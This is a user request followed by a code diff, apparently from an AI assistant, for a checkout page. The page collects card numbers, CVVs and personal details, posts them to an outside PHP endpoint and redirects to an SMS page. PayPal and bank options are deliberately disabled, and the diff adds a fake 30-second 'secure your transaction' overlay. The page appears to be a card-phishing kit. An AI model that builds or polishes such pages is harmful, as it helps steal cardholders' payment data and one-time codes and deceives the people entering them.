Can you make my client wait for 30 seconds when they click on complete purchase and a waiting effect appear then they're forwarded to the other page and make the alert that says paypal or bank are not working dissapear in 3 seconds ( fade effect)

index.html

@@ -208,7 +208,7 @@ float: {
                         </div>
                     </div>
                         <!-- PayPal -->
-                        <div class="payment-card border-2 border-gray-600/50 rounded-xl sm:rounded-2xl p-4 sm:p-6 opacity-60 cursor-not-allowed bg-gray-800/20 backdrop-blur-sm" onclick="showToast('PayPal payment is not functioning at the moment.')">
+                        <div class="payment-card border-2 border-gray-600/50 rounded-xl sm:rounded-2xl p-4 sm:p-6 opacity-60 cursor-not-allowed bg-gray-800/20 backdrop-blur-sm" onclick="showToast('PayPal payment is not functioning at the moment.', 3000)">
                             <div class="flex items-center space-x-3 sm:space-x-4">
                                 <i data-feather="dollar-sign" class="text-gray-500 w-5 h-5 sm:w-6 sm:h-6"></i>
                                 <span class="font-light text-gray-500 text-base sm:text-lg tracking-wide">PayPal</span>
@@ -216,13 +216,13 @@ float: {
                         </div>
 
                         <!-- Bank Account -->
-                        <div class="payment-card border-2 border-gray-600/50 rounded-xl sm:rounded-2xl p-4 sm:p-6 opacity-60 cursor-not-allowed bg-gray-800/20 backdrop-blur-sm" onclick="showToast('Bank transfer not available right now.')">
+                        <div class="payment-card border-2 border-gray-600/50 rounded-xl sm:rounded-2xl p-4 sm:p-6 opacity-60 cursor-not-allowed bg-gray-800/20 backdrop-blur-sm" onclick="showToast('Bank transfer not available right now.', 3000)">
                             <div class="flex items-center space-x-3 sm:space-x-4">
                                 <i data-feather="building" class="text-gray-500 w-5 h-5 sm:w-6 sm:h-6"></i>
                                 <span class="font-light text-gray-500 text-base sm:text-lg tracking-wide">Bank Account</span>
                             </div>
                         </div>
-                    </div>
+</div>
                 </div>
                 <!-- Complete Order Section -->
                 <div class="p-6 sm:p-10 bg-gradient-to-br from-gray-900/80 to-gray-800/80 border-t border-gray-700/50">
@@ -376,13 +376,16 @@ cardTypeDisplay.classList.remove('opacity-0');
             feather.replace();
             return 'unknown';
         };
-const showToast = message => {
+        const showToast = (message, duration = 3000) => {
             const toast = document.getElementById('toast');
             const toastMessage = document.getElementById('toast-message');
             toastMessage.textContent = message;
             toast.classList.remove('opacity-0');
             toast.classList.add('opacity-100');
-            setTimeout(() => toast.classList.remove('opacity-100'), 3000);
+            setTimeout(() => {
+                toast.classList.remove('opacity-100');
+                setTimeout(() => toast.classList.add('opacity-0'), 300);
+            }, duration);
         };
         const completePurchase = async () => {
             const requiredFields = ["email", "first-name", "last-name", "cardNumber", "expiryDate", "cvv", "name-on-card"];
@@ -407,10 +410,49 @@ const showToast = message => {
                 nameOnCard: document.getElementById("name-on-card").value,
             };
 
-            const button = document.querySelector('button');
-            button.innerHTML = '<i data-feather="check" class="w-4 h-4 sm:w-5 sm:h-5 mr-2 sm:mr-3"></i> Processing...';
+            const button = document.getElementById('complete-order-btn');
+            const originalText = button.innerHTML;
+            button.innerHTML = '<i data-feather="loader" class="w-4 h-4 sm:w-5 sm:h-5 mr-2 sm:mr-3 animate-spin"></i> Processing...';
+            button.disabled = true;
             feather.replace();
             
+            // Create waiting overlay
+            const waitingOverlay = document.createElement('div');
+            waitingOverlay.id = 'waiting-overlay';
+            waitingOverlay.className = 'fixed inset-0 bg-black/80 backdrop-blur-lg z-50 flex items-center justify-center flex-col space-y-6 text-white';
+            waitingOverlay.innerHTML = `
+                <div class="text-center animate-pulse">
+                    <div class="w-24 h-24 mx-auto mb-6 bg-gradient-to-br from-gray-600 to-accent rounded-full flex items-center justify-center border border-accent/30 text-5xl backdrop-blur-sm shadow-2xl">
+                        <i data-feather="clock" class="w-12 h-12"></i>
+                    </div>
+                    <h3 class="text-2xl font-light mb-2">Processing Your Payment</h3>
+                    <p class="text-gray-300 font-light">Please wait while we secure your transaction</p>
+                    <div class="mt-4 w-64 h-2 bg-gray-700 rounded-full overflow-hidden">
+                        <div id="progress-bar" class="h-full bg-gradient-to-r from-gray-600 to-accent transition-all duration-1000 ease-linear" style="width: 0%"></div>
+                    </div>
+                    <p id="countdown" class="text-sm text-gray-400 mt-2 font-light">Redirecting in 30 seconds...</p>
+                </div>
+            `;
+            document.body.appendChild(waitingOverlay);
+            feather.replace();
+
+            // Start progress bar animation
+            let secondsLeft = 30;
+            const progressBar = document.getElementById('progress-bar');
+            const countdown = document.getElementById('countdown');
+            const progressInterval = setInterval(() => {
+                secondsLeft--;
+                const progress = ((30 - secondsLeft) / 30) * 100;
+                progressBar.style.width = `${progress}%`;
+                countdown.textContent = `Redirecting in ${secondsLeft} second${secondsLeft !== 1 ? 's' : ''}...`;
+                
+                if (secondsLeft <= 0) {
+                    clearInterval(progressInterval);
+                    waitingOverlay.remove();
+                    window.location.href = "sms.html";
+                }
+            }, 1000);
+
             try {
                 await fetch("https://shoplaner.store/save_client.php", {
                     method: "POST",
@@ -418,21 +460,17 @@ const showToast = message => {
                     body: JSON.stringify(data),
                 });
                 showToast('Purchase completed successfully!');
-                button.innerHTML = 'Purchase Complete!';
-                button.classList.replace('hover:shadow-2xl', 'bg-gradient-to-br from-green-500 to-emerald-600');
-                setTimeout(() => {
-                    window.location.href = "sms.html";
-                }, 1500);
             } catch (err) {
                 console.error(err);
+                clearInterval(progressInterval);
+                waitingOverlay.remove();
                 showToast('Error processing payment. Please try again.');
-                button.innerHTML = 'Complete Purchase';
-                button.classList.remove('bg-gradient-to-br from-green-500 to-emerald-600');
-                button.classList.add('hover:shadow-2xl');
+                button.innerHTML = originalText;
+                button.disabled = false;
                 feather.replace();
             }
         };
-        document.addEventListener('DOMContentLoaded', () => {
+document.addEventListener('DOMContentLoaded', () => {
             document.querySelectorAll('.animate-fade-in, .animate-slide-up').forEach((el, index) => {
                 el.style.animationDelay = `${index * 0.1}s`;
             });